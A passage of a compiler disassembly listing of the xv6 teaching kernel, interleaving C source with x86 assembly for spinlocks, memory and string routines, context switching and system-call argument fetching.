b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi pcs[i] = 0; 80104088: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) for(; i < 10; i++) 8010408f: 83 c0 01 add $0x1,%eax 80104092: 83 f8 0a cmp $0xa,%eax 80104095: 74 e7 je 8010407e <getcallerpcs+0x2e> pcs[i] = 0; 80104097: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) for(; i < 10; i++) 8010409e: 83 c0 01 add $0x1,%eax 801040a1: 83 f8 0a cmp $0xa,%eax 801040a4: 75 e2 jne 80104088 <getcallerpcs+0x38> 801040a6: eb d6 jmp 8010407e <getcallerpcs+0x2e> 801040a8: 90 nop 801040a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801040b0 <holding>: // Check whether this cpu is holding the lock. int holding(struct spinlock *lock) { 801040b0: 55 push %ebp return lock->locked && lock->cpu == mycpu(); 801040b1: 31 c0 xor %eax,%eax { 801040b3: 89 e5 mov %esp,%ebp 801040b5: 53 push %ebx 801040b6: 83 ec 04 sub $0x4,%esp 801040b9: 8b 55 08 mov 0x8(%ebp),%edx return lock->locked && lock->cpu == mycpu(); 801040bc: 8b 0a mov (%edx),%ecx 801040be: 85 c9 test %ecx,%ecx 801040c0: 74 10 je 801040d2 <holding+0x22> 801040c2: 8b 5a 08 mov 0x8(%edx),%ebx 801040c5: e8 16 f5 ff ff call 801035e0 <mycpu> 801040ca: 39 c3 cmp %eax,%ebx 801040cc: 0f 94 c0 sete %al 801040cf: 0f b6 c0 movzbl %al,%eax } 801040d2: 83 c4 04 add $0x4,%esp 801040d5: 5b pop %ebx 801040d6: 5d pop %ebp 801040d7: c3 ret 801040d8: 90 nop 801040d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801040e0 <pushcli>: // it takes two popcli to undo two pushcli. Also, if interrupts // are off, then pushcli, popcli leaves them off. void pushcli(void) { 801040e0: 55 push %ebp 801040e1: 89 e5 mov %esp,%ebp 801040e3: 53 push %ebx 801040e4: 83 ec 04 sub $0x4,%esp 801040e7: 9c pushf 801040e8: 5b pop %ebx asm volatile("cli"); 801040e9: fa cli int eflags; eflags = readeflags(); cli(); if(mycpu()->ncli == 0) 801040ea: e8 f1 f4 ff ff call 801035e0 <mycpu> 801040ef: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax 801040f5: 85 c0 test %eax,%eax 801040f7: 75 11 jne 8010410a <pushcli+0x2a> mycpu()->intena = eflags & FL_IF; 801040f9: e8 e2 f4 ff ff call 801035e0 <mycpu> 801040fe: 81 e3 00 02 00 00 and $0x200,%ebx 80104104: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax) mycpu()->ncli += 1; 8010410a: e8 d1 f4 ff ff call 801035e0 <mycpu> 8010410f: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax) } 80104116: 83 c4 04 add $0x4,%esp 80104119: 5b pop %ebx 8010411a: 5d pop %ebp 8010411b: c3 ret 8010411c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104120 <acquire>: { 80104120: 55 push %ebp 80104121: 89 e5 mov %esp,%ebp 80104123: 53 push %ebx 80104124: 83 ec 14 sub $0x14,%esp pushcli(); // disable interrupts to avoid deadlock. 80104127: e8 b4 ff ff ff call 801040e0 <pushcli> if(holding(lk)) 8010412c: 8b 55 08 mov 0x8(%ebp),%edx return lock->locked && lock->cpu == mycpu(); 8010412f: 8b 02 mov (%edx),%eax 80104131: 85 c0 test %eax,%eax 80104133: 75 43 jne 80104178 <acquire+0x58> asm volatile("lock; xchgl %0, %1" : 80104135: b9 01 00 00 00 mov $0x1,%ecx 8010413a: eb 07 jmp 80104143 <acquire+0x23> 8010413c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104140: 8b 55 08 mov 0x8(%ebp),%edx 80104143: 89 c8 mov %ecx,%eax 80104145: f0 87 02 lock xchg %eax,(%edx) while(xchg(&lk->locked, 1) != 0) 80104148: 85 c0 test %eax,%eax 8010414a: 75 f4 jne 80104140 <acquire+0x20> __sync_synchronize(); 8010414c: 0f ae f0 mfence lk->cpu = mycpu(); 8010414f: 8b 5d 08 mov 0x8(%ebp),%ebx 80104152: e8 89 f4 ff ff call 801035e0 <mycpu> 80104157: 89 43 08 mov %eax,0x8(%ebx) getcallerpcs(&lk, lk->pcs); 8010415a: 8b 45 08 mov 0x8(%ebp),%eax 8010415d: 83 c0 0c add $0xc,%eax 80104160: 89 44 24 04 mov %eax,0x4(%esp) 80104164: 8d 45 08 lea 0x8(%ebp),%eax 80104167: 89 04 24 mov %eax,(%esp) 8010416a: e8 e1 fe ff ff call 80104050 <getcallerpcs> } 8010416f: 83 c4 14 add $0x14,%esp 80104172: 5b pop %ebx 80104173: 5d pop %ebp 80104174: c3 ret 80104175: 8d 76 00 lea 0x0(%esi),%esi return lock->locked && lock->cpu == mycpu(); 80104178: 8b 5a 08 mov 0x8(%edx),%ebx 8010417b: e8 60 f4 ff ff call 801035e0 <mycpu> if(holding(lk)) 80104180: 39 c3 cmp %eax,%ebx 80104182: 74 05 je 80104189 <acquire+0x69> 80104184: 8b 55 08 mov 0x8(%ebp),%edx 80104187: eb ac jmp 80104135 <acquire+0x15> panic("acquire"); 80104189: c7 04 24 83 74 10 80 movl $0x80107483,(%esp) 80104190: e8 cb c1 ff ff call 80100360 <panic> 80104195: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801041a0 <popcli>: void popcli(void) { 801041a0: 55 push %ebp 801041a1: 89 e5 mov %esp,%ebp 801041a3: 83 ec 18 sub $0x18,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 801041a6: 9c pushf 801041a7: 58 pop %eax if(readeflags()&FL_IF) 801041a8: f6 c4 02 test $0x2,%ah 801041ab: 75 49 jne 801041f6 <popcli+0x56> panic("popcli - interruptible"); if(--mycpu()->ncli < 0) 801041ad: e8 2e f4 ff ff call 801035e0 <mycpu> 801041b2: 8b 88 a4 00 00 00 mov 0xa4(%eax),%ecx 801041b8: 8d 51 ff lea -0x1(%ecx),%edx 801041bb: 85 d2 test %edx,%edx 801041bd: 89 90 a4 00 00 00 mov %edx,0xa4(%eax) 801041c3: 78 25 js 801041ea <popcli+0x4a> panic("popcli"); if(mycpu()->ncli == 0 && mycpu()->intena) 801041c5: e8 16 f4 ff ff call 801035e0 <mycpu> 801041ca: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx 801041d0: 85 d2 test %edx,%edx 801041d2: 74 04 je 801041d8 <popcli+0x38> sti(); } 801041d4: c9 leave 801041d5: c3 ret 801041d6: 66 90 xchg %ax,%ax if(mycpu()->ncli == 0 && mycpu()->intena) 801041d8: e8 03 f4 ff ff call 801035e0 <mycpu> 801041dd: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax 801041e3: 85 c0 test %eax,%eax 801041e5: 74 ed je 801041d4 <popcli+0x34> asm volatile("sti"); 801041e7: fb sti } 801041e8: c9 leave 801041e9: c3 ret panic("popcli"); 801041ea: c7 04 24 a2 74 10 80 movl $0x801074a2,(%esp) 801041f1: e8 6a c1 ff ff call 80100360 <panic> panic("popcli - interruptible"); 801041f6: c7 04 24 8b 74 10 80 movl $0x8010748b,(%esp) 801041fd: e8 5e c1 ff ff call 80100360 <panic> 80104202: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104210 <release>: { 80104210: 55 push %ebp 80104211: 89 e5 mov %esp,%ebp 80104213: 56 push %esi 80104214: 53 push %ebx 80104215: 83 ec 10 sub $0x10,%esp 80104218: 8b 5d 08 mov 0x8(%ebp),%ebx return lock->locked && lock->cpu == mycpu(); 8010421b: 8b 03 mov (%ebx),%eax 8010421d: 85 c0 test %eax,%eax 8010421f: 75 0f jne 80104230 <release+0x20> panic("release"); 80104221: c7 04 24 a9 74 10 80 movl $0x801074a9,(%esp) 80104228: e8 33 c1 ff ff call 80100360 <panic> 8010422d: 8d 76 00 lea 0x0(%esi),%esi return lock->locked && lock->cpu == mycpu(); 80104230: 8b 73 08 mov 0x8(%ebx),%esi 80104233: e8 a8 f3 ff ff call 801035e0 <mycpu> if(!holding(lk)) 80104238: 39 c6 cmp %eax,%esi 8010423a: 75 e5 jne 80104221 <release+0x11> lk->pcs[0] = 0; 8010423c: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) lk->cpu = 0; 80104243: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) __sync_synchronize(); 8010424a: 0f ae f0 mfence asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 8010424d: c7 03 00 00 00 00 movl $0x0,(%ebx) } 80104253: 83 c4 10 add $0x10,%esp 80104256: 5b pop %ebx 80104257: 5e pop %esi 80104258: 5d pop %ebp popcli(); 80104259: e9 42 ff ff ff jmp 801041a0 <popcli> 8010425e: 66 90 xchg %ax,%ax 80104260 <memset>: #include "types.h" #include "x86.h" void* memset(void *dst, int c, uint n) { 80104260: 55 push %ebp 80104261: 89 e5 mov %esp,%ebp 80104263: 8b 55 08 mov 0x8(%ebp),%edx 80104266: 57 push %edi 80104267: 8b 4d 10 mov 0x10(%ebp),%ecx 8010426a: 53 push %ebx if ((int)dst%4 == 0 && n%4 == 0){ 8010426b: f6 c2 03 test $0x3,%dl 8010426e: 75 05 jne 80104275 <memset+0x15> 80104270: f6 c1 03 test $0x3,%cl 80104273: 74 13 je 80104288 <memset+0x28> asm volatile("cld; rep stosb" : 80104275: 89 d7 mov %edx,%edi 80104277: 8b 45 0c mov 0xc(%ebp),%eax 8010427a: fc cld 8010427b: f3 aa rep stos %al,%es:(%edi) c &= 0xFF; stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); } else stosb(dst, c, n); return dst; } 8010427d: 5b pop %ebx 8010427e: 89 d0 mov %edx,%eax 80104280: 5f pop %edi 80104281: 5d pop %ebp 80104282: c3 ret 80104283: 90 nop 80104284: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c &= 0xFF; 80104288: 0f b6 7d 0c movzbl 0xc(%ebp),%edi stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); 8010428c: c1 e9 02 shr $0x2,%ecx 8010428f: 89 f8 mov %edi,%eax 80104291: 89 fb mov %edi,%ebx 80104293: c1 e0 18 shl $0x18,%eax 80104296: c1 e3 10 shl $0x10,%ebx 80104299: 09 d8 or %ebx,%eax 8010429b: 09 f8 or %edi,%eax 8010429d: c1 e7 08 shl $0x8,%edi 801042a0: 09 f8 or %edi,%eax asm volatile("cld; rep stosl" : 801042a2: 89 d7 mov %edx,%edi 801042a4: fc cld 801042a5: f3 ab rep stos %eax,%es:(%edi) } 801042a7: 5b pop %ebx 801042a8: 89 d0 mov %edx,%eax 801042aa: 5f pop %edi 801042ab: 5d pop %ebp 801042ac: c3 ret 801042ad: 8d 76 00 lea 0x0(%esi),%esi 801042b0 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 801042b0: 55 push %ebp 801042b1: 89 e5 mov %esp,%ebp 801042b3: 8b 45 10 mov 0x10(%ebp),%eax 801042b6: 57 push %edi 801042b7: 56 push %esi 801042b8: 8b 75 0c mov 0xc(%ebp),%esi 801042bb: 53 push %ebx 801042bc: 8b 5d 08 mov 0x8(%ebp),%ebx const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 801042bf: 85 c0 test %eax,%eax 801042c1: 8d 78 ff lea -0x1(%eax),%edi 801042c4: 74 26 je 801042ec <memcmp+0x3c> if(*s1 != *s2) 801042c6: 0f b6 03 movzbl (%ebx),%eax 801042c9: 31 d2 xor %edx,%edx 801042cb: 0f b6 0e movzbl (%esi),%ecx 801042ce: 38 c8 cmp %cl,%al 801042d0: 74 16 je 801042e8 <memcmp+0x38> 801042d2: eb 24 jmp 801042f8 <memcmp+0x48> 801042d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801042d8: 0f b6 44 13 01 movzbl 0x1(%ebx,%edx,1),%eax 801042dd: 83 c2 01 add $0x1,%edx 801042e0: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 801042e4: 38 c8 cmp %cl,%al 801042e6: 75 10 jne 801042f8 <memcmp+0x48> while(n-- > 0){ 801042e8: 39 fa cmp %edi,%edx 801042ea: 75 ec jne 801042d8 <memcmp+0x28> return *s1 - *s2; s1++, s2++; } return 0; } 801042ec: 5b pop %ebx return 0; 801042ed: 31 c0 xor %eax,%eax } 801042ef: 5e pop %esi 801042f0: 5f pop %edi 801042f1: 5d pop %ebp 801042f2: c3 ret 801042f3: 90 nop 801042f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801042f8: 5b pop %ebx return *s1 - *s2; 801042f9: 29 c8 sub %ecx,%eax } 801042fb: 5e pop %esi 801042fc: 5f pop %edi 801042fd: 5d pop %ebp 801042fe: c3 ret 801042ff: 90 nop 80104300 <memmove>: void* memmove(void *dst, const void *src, uint n) { 80104300: 55 push %ebp 80104301: 89 e5 mov %esp,%ebp 80104303: 57 push %edi 80104304: 8b 45 08 mov 0x8(%ebp),%eax 80104307: 56 push %esi 80104308: 8b 75 0c mov 0xc(%ebp),%esi 8010430b: 53 push %ebx 8010430c: 8b 5d 10 mov 0x10(%ebp),%ebx const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 8010430f: 39 c6 cmp %eax,%esi 80104311: 73 35 jae 80104348 <memmove+0x48> 80104313: 8d 0c 1e lea (%esi,%ebx,1),%ecx 80104316: 39 c8 cmp %ecx,%eax 80104318: 73 2e jae 80104348 <memmove+0x48> s += n; d += n; while(n-- > 0) 8010431a: 85 db test %ebx,%ebx d += n; 8010431c: 8d 3c 18 lea (%eax,%ebx,1),%edi while(n-- > 0) 8010431f: 8d 53 ff lea -0x1(%ebx),%edx 80104322: 74 1b je 8010433f <memmove+0x3f> 80104324: f7 db neg %ebx 80104326: 8d 34 19 lea (%ecx,%ebx,1),%esi 80104329: 01 fb add %edi,%ebx 8010432b: 90 nop 8010432c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *--d = *--s; 80104330: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 80104334: 88 0c 13 mov %cl,(%ebx,%edx,1) while(n-- > 0) 80104337: 83 ea 01 sub $0x1,%edx 8010433a: 83 fa ff cmp $0xffffffff,%edx 8010433d: 75 f1 jne 80104330 <memmove+0x30> } else while(n-- > 0) *d++ = *s++; return dst; } 8010433f: 5b pop %ebx 80104340: 5e pop %esi 80104341: 5f pop %edi 80104342: 5d pop %ebp 80104343: c3 ret 80104344: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(n-- > 0) 80104348: 31 d2 xor %edx,%edx 8010434a: 85 db test %ebx,%ebx 8010434c: 74 f1 je 8010433f <memmove+0x3f> 8010434e: 66 90 xchg %ax,%ax *d++ = *s++; 80104350: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 80104354: 88 0c 10 mov %cl,(%eax,%edx,1) 80104357: 83 c2 01 add $0x1,%edx while(n-- > 0) 8010435a: 39 da cmp %ebx,%edx 8010435c: 75 f2 jne 80104350 <memmove+0x50> } 8010435e: 5b pop %ebx 8010435f: 5e pop %esi 80104360: 5f pop %edi 80104361: 5d pop %ebp 80104362: c3 ret 80104363: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104369: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104370 <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 80104370: 55 push %ebp 80104371: 89 e5 mov %esp,%ebp return memmove(dst, src, n); } 80104373: 5d pop %ebp return memmove(dst, src, n); 80104374: eb 8a jmp 80104300 <memmove> 80104376: 8d 76 00 lea 0x0(%esi),%esi 80104379: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104380 <strncmp>: int strncmp(const char *p, const char *q, uint n) { 80104380: 55 push %ebp 80104381: 89 e5 mov %esp,%ebp 80104383: 56 push %esi 80104384: 8b 75 10 mov 0x10(%ebp),%esi 80104387: 53 push %ebx 80104388: 8b 4d 08 mov 0x8(%ebp),%ecx 8010438b: 8b 5d 0c mov 0xc(%ebp),%ebx while(n > 0 && *p && *p == *q) 8010438e: 85 f6 test %esi,%esi 80104390: 74 30 je 801043c2 <strncmp+0x42> 80104392: 0f b6 01 movzbl (%ecx),%eax 80104395: 84 c0 test %al,%al 80104397: 74 2f je 801043c8 <strncmp+0x48> 80104399: 0f b6 13 movzbl (%ebx),%edx 8010439c: 38 d0 cmp %dl,%al 8010439e: 75 46 jne 801043e6 <strncmp+0x66> 801043a0: 8d 51 01 lea 0x1(%ecx),%edx 801043a3: 01 ce add %ecx,%esi 801043a5: eb 14 jmp 801043bb <strncmp+0x3b> 801043a7: 90 nop 801043a8: 0f b6 02 movzbl (%edx),%eax 801043ab: 84 c0 test %al,%al 801043ad: 74 31 je 801043e0 <strncmp+0x60> 801043af: 0f b6 19 movzbl (%ecx),%ebx 801043b2: 83 c2 01 add $0x1,%edx 801043b5: 38 d8 cmp %bl,%al 801043b7: 75 17 jne 801043d0 <strncmp+0x50> n--, p++, q++; 801043b9: 89 cb mov %ecx,%ebx while(n > 0 && *p && *p == *q) 801043bb: 39 f2 cmp %esi,%edx n--, p++, q++; 801043bd: 8d 4b 01 lea 0x1(%ebx),%ecx while(n > 0 && *p && *p == *q) 801043c0: 75 e6 jne 801043a8 <strncmp+0x28> if(n == 0) return 0; return (uchar)*p - (uchar)*q; } 801043c2: 5b pop %ebx return 0; 801043c3: 31 c0 xor %eax,%eax } 801043c5: 5e pop %esi 801043c6: 5d pop %ebp 801043c7: c3 ret 801043c8: 0f b6 1b movzbl (%ebx),%ebx while(n > 0 && *p && *p == *q) 801043cb: 31 c0 xor %eax,%eax 801043cd: 8d 76 00 lea 0x0(%esi),%esi return (uchar)*p - (uchar)*q; 801043d0: 0f b6 d3 movzbl %bl,%edx 801043d3: 29 d0 sub %edx,%eax } 801043d5: 5b pop %ebx 801043d6: 5e pop %esi 801043d7: 5d pop %ebp 801043d8: c3 ret 801043d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801043e0: 0f b6 5b 01 movzbl 0x1(%ebx),%ebx 801043e4: eb ea jmp 801043d0 <strncmp+0x50> while(n > 0 && *p && *p == *q) 801043e6: 89 d3 mov %edx,%ebx 801043e8: eb e6 jmp 801043d0 <strncmp+0x50> 801043ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801043f0 <strncpy>: char* strncpy(char *s, const char *t, int n) { 801043f0: 55 push %ebp 801043f1: 89 e5 mov %esp,%ebp 801043f3: 8b 45 08 mov 0x8(%ebp),%eax 801043f6: 56 push %esi 801043f7: 8b 4d 10 mov 0x10(%ebp),%ecx 801043fa: 53 push %ebx 801043fb: 8b 5d 0c mov 0xc(%ebp),%ebx char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) 801043fe: 89 c2 mov %eax,%edx 80104400: eb 19 jmp 8010441b <strncpy+0x2b> 80104402: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104408: 83 c3 01 add $0x1,%ebx 8010440b: 0f b6 4b ff movzbl -0x1(%ebx),%ecx 8010440f: 83 c2 01 add $0x1,%edx 80104412: 84 c9 test %cl,%cl 80104414: 88 4a ff mov %cl,-0x1(%edx) 80104417: 74 09 je 80104422 <strncpy+0x32> 80104419: 89 f1 mov %esi,%ecx 8010441b: 85 c9 test %ecx,%ecx 8010441d: 8d 71 ff lea -0x1(%ecx),%esi 80104420: 7f e6 jg 80104408 <strncpy+0x18> ; while(n-- > 0) 80104422: 31 c9 xor %ecx,%ecx 80104424: 85 f6 test %esi,%esi 80104426: 7e 0f jle 80104437 <strncpy+0x47> *s++ = 0; 80104428: c6 04 0a 00 movb $0x0,(%edx,%ecx,1) 8010442c: 89 f3 mov %esi,%ebx 8010442e: 83 c1 01 add $0x1,%ecx 80104431: 29 cb sub %ecx,%ebx while(n-- > 0) 80104433: 85 db test %ebx,%ebx 80104435: 7f f1 jg 80104428 <strncpy+0x38> return os; } 80104437: 5b pop %ebx 80104438: 5e pop %esi 80104439: 5d pop %ebp 8010443a: c3 ret 8010443b: 90 nop 8010443c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104440 <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 80104440: 55 push %ebp 80104441: 89 e5 mov %esp,%ebp 80104443: 8b 4d 10 mov 0x10(%ebp),%ecx 80104446: 56 push %esi 80104447: 8b 45 08 mov 0x8(%ebp),%eax 8010444a: 53 push %ebx 8010444b: 8b 55 0c mov 0xc(%ebp),%edx char *os; os = s; if(n <= 0) 8010444e: 85 c9 test %ecx,%ecx 80104450: 7e 26 jle 80104478 <safestrcpy+0x38> 80104452: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi 80104456: 89 c1 mov %eax,%ecx 80104458: eb 17 jmp 80104471 <safestrcpy+0x31> 8010445a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return os; while(--n > 0 && (*s++ = *t++) != 0) 80104460: 83 c2 01 add $0x1,%edx 80104463: 0f b6 5a ff movzbl -0x1(%edx),%ebx 80104467: 83 c1 01 add $0x1,%ecx 8010446a: 84 db test %bl,%bl 8010446c: 88 59 ff mov %bl,-0x1(%ecx) 8010446f: 74 04 je 80104475 <safestrcpy+0x35> 80104471: 39 f2 cmp %esi,%edx 80104473: 75 eb jne 80104460 <safestrcpy+0x20> ; *s = 0; 80104475: c6 01 00 movb $0x0,(%ecx) return os; } 80104478: 5b pop %ebx 80104479: 5e pop %esi 8010447a: 5d pop %ebp 8010447b: c3 ret 8010447c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104480 <strlen>: int strlen(const char *s) { 80104480: 55 push %ebp int n; for(n = 0; s[n]; n++) 80104481: 31 c0 xor %eax,%eax { 80104483: 89 e5 mov %esp,%ebp 80104485: 8b 55 08 mov 0x8(%ebp),%edx for(n = 0; s[n]; n++) 80104488: 80 3a 00 cmpb $0x0,(%edx) 8010448b: 74 0c je 80104499 <strlen+0x19> 8010448d: 8d 76 00 lea 0x0(%esi),%esi 80104490: 83 c0 01 add $0x1,%eax 80104493: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 80104497: 75 f7 jne 80104490 <strlen+0x10> ; return n; } 80104499: 5d pop %ebp 8010449a: c3 ret 8010449b <swtch>: # Save current register context in old # and then load register context from new. .globl swtch swtch: movl 4(%esp), %eax 8010449b: 8b 44 24 04 mov 0x4(%esp),%eax movl 8(%esp), %edx 8010449f: 8b 54 24 08 mov 0x8(%esp),%edx # Save old callee-save registers pushl %ebp 801044a3: 55 push %ebp pushl %ebx 801044a4: 53 push %ebx pushl %esi 801044a5: 56 push %esi pushl %edi 801044a6: 57 push %edi # Switch stacks movl %esp, (%eax) 801044a7: 89 20 mov %esp,(%eax) movl %edx, %esp 801044a9: 89 d4 mov %edx,%esp # Load new callee-save registers popl %edi 801044ab: 5f pop %edi popl %esi 801044ac: 5e pop %esi popl %ebx 801044ad: 5b pop %ebx popl %ebp 801044ae: 5d pop %ebp ret 801044af: c3 ret 801044b0 <fetchint>: // to a saved program counter, and then the first argument. // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { 801044b0: 55 push %ebp 801044b1: 89 e5 mov %esp,%ebp 801044b3: 8b 45 08 mov 0x8(%ebp),%eax if(addr >= KERNBASE || addr+4 > KERNBASE) 801044b6: 3d fc ff ff 7f cmp $0x7ffffffc,%eax 801044bb: 77 0b ja 801044c8 <fetchint+0x18> return -1; *ip = *(int*)(addr); 801044bd: 8b 10 mov (%eax),%edx 801044bf: 8b 45 0c mov 0xc(%ebp),%eax 801044c2: 89 10 mov %edx,(%eax) return 0; 801044c4: 31 c0 xor %eax,%eax } 801044c6: 5d pop %ebp 801044c7: c3 ret return -1; 801044c8: b8 ff ff ff ff mov $0xffffffff,%eax } 801044cd: 5d pop %ebp 801044ce: c3 ret 801044cf: 90 nop 801044d0 <fetchstr>: // Fetch the nul-terminated string at addr from the current process. // Doesn't actually copy the string - just sets *pp to point at it. // Returns length of string, not including nul. int fetchstr(uint addr, char **pp) { 801044d0: 55 push %ebp 801044d1: 89 e5 mov %esp,%ebp 801044d3: 8b 55 08 mov 0x8(%ebp),%edx char *s, *ep; if(addr >= KERNBASE) 801044d6: 85 d2 test %edx,%edx 801044d8: 78 25 js 801044ff <fetchstr+0x2f> return -1; *pp = (char*)addr; 801044da: 8b 4d 0c mov 0xc(%ebp),%ecx ep = (char*)KERNBASE-1; for(s = *pp; s < ep; s++){ 801044dd: 81 fa fe ff ff 7f cmp $0x7ffffffe,%edx *pp = (char*)addr; 801044e3: 89 d0 mov %edx,%eax 801044e5: 89 11 mov %edx,(%ecx) for(s = *pp; s < ep; s++){ 801044e7: 77 16 ja 801044ff <fetchstr+0x2f> if(*s == 0) 801044e9: 80 3a 00 cmpb $0x0,(%edx) 801044ec: 75 07 jne 801044f5 <fetchstr+0x25> 801044ee: eb 18 jmp 80104508 <fetchstr+0x38> 801044f0: 80 38 00 cmpb $0x0,(%eax) 801044f3: 74 13 je 80104508 <fetchstr+0x38> for(s = *pp; s < ep; s++){ 801044f5: 83 c0 01 add $0x1,%eax 801044f8: 3d ff ff ff 7f cmp $0x7fffffff,%eax 801044fd: 75 f1 jne 801044f0 <fetchstr+0x20> return -1; 801044ff: b8 ff ff ff ff mov $0xffffffff,%eax return s - *pp; } return -1; } 80104504: 5d pop %ebp 80104505: c3 ret 80104506: 66 90 xchg %ax,%ax return s - *pp; 80104508: 29 d0 sub %edx,%eax } 8010450a: 5d pop %ebp 8010450b: c3 ret 8010450c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104510 <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 80104510: 55 push %ebp 80104511: 89 e5 mov %esp,%ebp 80104513: 83 ec 08 sub $0x8,%esp return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104516: e8 65 f1 ff ff call 80103680 <myproc> 8010451b: 8b 55 08 mov 0x8(%ebp),%edx 8010451e: 8b 40 18 mov 0x18(%eax),%eax 80104521: 8b 40 44 mov 0x44(%eax),%eax 80104524: 8d 44 90 04 lea 0x4(%eax,%edx,4),%eax if(addr >= KERNBASE || addr+4 > KERNBASE) 80104528: 3d fc ff ff 7f cmp $0x7ffffffc,%eax 8010452d: 77 11 ja 80104540 <argint+0x30> *ip = *(int*)(addr); 8010452f: 8b 10 mov (%eax),%edx 80104531: 8b 45 0c mov 0xc(%ebp),%eax 80104534: 89 10 mov %edx,(%eax) return 0; 80104536: 31 c0 xor %eax,%eax } 80104538: c9 leave 80104539: c3 ret 8010453a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80104540: b8 ff ff ff ff mov $0xffffffff,%eax } 80104545: c9 leave 80104546: c3 ret 80104547: 89 f6 mov %esi,%esi 80104549: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104550 <argptr>: // Fetch the nth word-sized system call argument as a pointer // to a block of memory of size bytes. Check that the pointer // lies within the process address space. int argptr(int n, char **pp, int size) { 80104550: 55 push %ebp 80104551: 89 e5 mov %esp,%ebp 80104553: 53 push %ebx 80104554: 83 ec 24 sub $0x24,%esp 80104557: 8b 5d 10 mov 0x10(%ebp),%ebx int i; if(argint(n, &i) < 0) 8010455a: 8d 45 f4 lea -0xc(%ebp),%eax 8010455d: 89 44 24 04 mov %eax,0x4(%esp) 80104561: 8b 45 08 mov 0x8(%ebp),%eax 80104564: 89 04 24 mov %eax,(%esp) 80104567: e8 a4 ff ff ff call 80104510 <argint> 8010456c: 85 c0 test %eax,%eax 8010456e: 78 28 js 80104598 <argptr+0x48> return -1; if(size < 0 || (uint)i >= (KERNBASE) || (uint)i+size > (KERNBASE)) 80104570: 85 db test %ebx,%ebx 80104572: 78 24 js 80104598 <argptr+0x48> 80104574: 8b 45 f4 mov -0xc(%ebp),%eax 80104577: 85 c0 test %eax,%eax 80104579: 78 1d js 80104598 <argptr+0x48> 8010457b: 01 c3 add %eax,%ebx 8010457d: 81 fb 00 00 00 80 cmp $0x80000000,%ebx 80104583: 77 13 ja 80104598 <argptr+0x48> return -1; *pp = (char*)i; 80104585: 8b 55 0c mov 0xc(%ebp),%edx 80104588: 89 02 mov %eax,(%edx) return 0; 8010458a: 31 c0 xor %eax,%eax } 8010458c: 83 c4 24 add $0x24,%esp 8010458f: 5b pop %ebx 80104590: 5d pop %ebp 80104591: c3 ret 80104592: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80104598: b8 ff ff ff ff mov $0xffffffff,%eax 8010459d: eb ed jmp 8010458c <argptr+0x3c> 8010459f: 90 nop 801045a0 <argstr>: // Check that the pointer is valid and the string is nul-terminated. // (There is no shared writable memory, so the string can't change // between this check and being used by the kernel.) int argstr(int n, char **pp) { 801045a0: 55 push %ebp 801045a1: 89 e5 mov %esp,%ebp 801045a3: 83 ec 28 sub $0x28,%esp int addr; if(argint(n, &addr) < 0) 801045a6: 8d 45 f4 lea -0xc(%ebp),%eax 801045a9: 89 44 24 04 mov %eax,0x4(%esp) 801045ad: 8b 45 08 mov 0x8(%ebp),%eax 801045b0: 89 04 24 mov %eax,(%esp) 801045b3: e8 58 ff ff ff call 80104510 <argint> 801045b8: 85 c0 test %eax,%eax 801045ba: 78 33 js 801045ef <argstr+0x4f> return -1; return fetchstr(addr, pp); 801045bc: 